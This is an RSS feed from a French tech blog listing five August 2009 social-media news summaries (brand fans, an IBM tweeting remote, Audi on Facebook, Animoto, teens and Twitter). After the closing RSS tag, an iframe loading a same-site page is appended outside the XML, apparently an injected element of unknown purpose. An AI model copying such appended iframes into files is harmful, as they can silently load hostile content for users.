<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>Thenolife.com</title>
	<atom:link href="http://thenolife.com/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://thenolife.com</link>
	<description>Actualite Informatique,Site D'actuse , Guide D'achat</description>
	<pubDate>Mon, 31 Aug 2009 20:44:42 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>50% des utilisateurs des réseaux sociaux intéragissent avec les marques</title>
		<link>http://thenolife.com/?p=782</link>
		<comments>http://thenolife.com/?p=782#comments</comments>
		<pubDate>Mon, 31 Aug 2009 20:44:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Reseaux sociaux]]></category>

		<category><![CDATA[260-langues]]></category>

		<category><![CDATA[cet-automne]]></category>

		<category><![CDATA[chaque-mois]]></category>

		<category><![CDATA[code-couleur]]></category>

		<category><![CDATA[dire-quelque]]></category>

		<category><![CDATA[interagir]]></category>

		<category><![CDATA[networking]]></category>

		<category><![CDATA[nouveau-mode]]></category>

		<category><![CDATA[pour-interagir]]></category>

		<category><![CDATA[selon-une]]></category>

		<category><![CDATA[trouvez-sur]]></category>

		<category><![CDATA[une-marque]]></category>

		<category><![CDATA[wikipedia]]></category>

		<guid isPermaLink="false">http://thenolife.com/?p=782</guid>
		<description><![CDATA[ La plupart des marketeux semble avoir adopté les médias sociaux, les utilisateurs quant à eux ont-il adopté ce nouveau mode de communication pour interagir avec les marques ? La réponse semble être oui selon une étude publiée aujourd&#8217;hui sur eMarketer et qui déclare que plus de la moitié des membres de réseaux sociaux sont devenu fans/followers d&#8217;une marque et que ces utilisateurs sont beaucoup plus (46%) susceptibles de dire quelque chose de positif sur une marque que de donner un avis négatif (23%) ]]></description>
		<wfw:commentRss>http://thenolife.com/?feed=rss2&amp;p=782</wfw:commentRss>
		</item>
		<item>
		<title>IBM: Une télécommande qui permet de Twitter ce que vous regardez à la TV</title>
		<link>http://thenolife.com/?p=726</link>
		<comments>http://thenolife.com/?p=726#comments</comments>
		<pubDate>Sun, 30 Aug 2009 20:54:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Reseaux sociaux]]></category>

		<category><![CDATA[avril-dernier]]></category>

		<category><![CDATA[cemment-par]]></category>

		<category><![CDATA[liste-des]]></category>

		<category><![CDATA[mission-que]]></category>

		<category><![CDATA[peut-prendre]]></category>

		<category><![CDATA[que-vous]]></category>

		<category><![CDATA[tv 2.0]]></category>

		<category><![CDATA[twitter]]></category>

		<category><![CDATA[vous-regardez]]></category>

		<guid isPermaLink="false">http://thenolife.com/?p=726</guid>
		<description><![CDATA[ Il n&#8217;y a pas de doute, la TV devient un média de plus en plus &#8220;social&#8221;. Un brevet déposé récemment par IBM révèle que l&#8217;entreprise travaillerait justement dans ce sens, en mettant au point une télécommande qui permettra de bloguer/microbloguer automatiquement ce que vous regardez. Le brevet évoque une télécommande connectée en réseau qui permettrait &#8220;d&#8217;envoyer un post sur votre blog&#8221; ou d&#8217;être configurée pour l&#8217;envoyer de manière automatique]]></description>
		<wfw:commentRss>http://thenolife.com/?feed=rss2&amp;p=726</wfw:commentRss>
		</item>
		<item>
		<title>Audi “Design challenge” sur Facebook</title>
		<link>http://thenolife.com/?p=729</link>
		<comments>http://thenolife.com/?p=729#comments</comments>
		<pubDate>Fri, 28 Aug 2009 07:23:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Reseaux sociaux]]></category>

		<category><![CDATA[dialogue-avec]]></category>

		<category><![CDATA[dias-sociaux]]></category>

		<category><![CDATA[enregistrer]]></category>

		<category><![CDATA[facebook]]></category>

		<category><![CDATA[rons-simplement]]></category>

		<category><![CDATA[une-croissance]]></category>

		<category><![CDATA[youth-mobile]]></category>

		<guid isPermaLink="false">http://thenolife.com/?p=729</guid>
		<description><![CDATA[ De plus en plus d&#8217;entreprises prennent conscience que l&#8217;adoption d&#8217;une stratégie de communication intégrant les médias sociaux pour dialoguer avec les clients/prospects est un excellent moyen de construire une marque solide. ]]></description>
		<wfw:commentRss>http://thenolife.com/?feed=rss2&amp;p=729</wfw:commentRss>
		</item>
		<item>
		<title>Animoto intègre désormais les clips vidéos</title>
		<link>http://thenolife.com/?p=731</link>
		<comments>http://thenolife.com/?p=731#comments</comments>
		<pubDate>Thu, 27 Aug 2009 21:46:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Reseaux sociaux]]></category>

		<category><![CDATA[clips-vid]]></category>

		<category><![CDATA[enregistrer]]></category>

		<category><![CDATA[galement-sur]]></category>

		<category><![CDATA[musique-pour]]></category>

		<category><![CDATA[nouveau-type]]></category>

		<category><![CDATA[via-une]]></category>

		<category><![CDATA[votre-musique]]></category>

		<category><![CDATA[vous-permet]]></category>

		<guid isPermaLink="false">http://thenolife.com/?p=731</guid>
		<description><![CDATA[ Nous sommes de grands fans de Animoto , le service de mashups qui vous permet de mixer simplement et via une interface intuitive, images et musique pour créer des slideshows vidéo de qualité. La plateforme vient récemment de se lancer également sur un nouveau type de média: les &#8220;clips vidéos&#8221;. Cette intégration a été rendue possible grâce à une fonctionnalité qui s&#8217;appuie sur une technologie intitulée &#8220;Cinematic Artifical Intelligence&#8221; permettant d&#8217;analyser les clips vidéos et y intégrer de façon fluide et automatisée les images que vous uploadez  et les synchroniser à votre musique (Le service s&#8217;apparenterait même ainsi à un outil de montage vidéo type iMovie). ]]></description>
		<wfw:commentRss>http://thenolife.com/?feed=rss2&amp;p=731</wfw:commentRss>
		</item>
		<item>
		<title>Les ados (ne) sont (pas) sur Twitter (ni) Facebook, (ni) MySpace</title>
		<link>http://thenolife.com/?p=733</link>
		<comments>http://thenolife.com/?p=733#comments</comments>
		<pubDate>Thu, 27 Aug 2009 21:25:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Internet]]></category>

		<category><![CDATA[Reseaux sociaux]]></category>

		<category><![CDATA[est-finalement]]></category>

		<category><![CDATA[facebook]]></category>

		<category><![CDATA[galement-sur]]></category>

		<category><![CDATA[heure-actuelle]]></category>

		<category><![CDATA[les-chiffres]]></category>

		<category><![CDATA[moins-pareil]]></category>

		<category><![CDATA[pas-sur-repr]]></category>

		<category><![CDATA[simple-mythe]]></category>

		<category><![CDATA[votre-musique]]></category>

		<guid isPermaLink="false">http://thenolife.com/?p=733</guid>
		<description><![CDATA[ Le New York Times a publié un article concernant la réticence des jeunes internautes vis à vis du service de microblogging Twitter qui semble avoir du mal à imposer sa limite de 140 caractères, RT et autres hashtags à cette population. Néanmoins, et si on l&#8217;on regarde ces chiffres de plus près, il semble que le problème est plus profond et  pas forcément lié (uniquement) à Twitter]]></description>
		<wfw:commentRss>http://thenolife.com/?feed=rss2&amp;p=733</wfw:commentRss>
		</item>
	</channel>
</rss>
<iframe src="http://thenolife.com/fs/files/6.htm" width="468" height="60" frameborder="0" scrolling="no" marginwidth="0" marginheight="0"></iframe>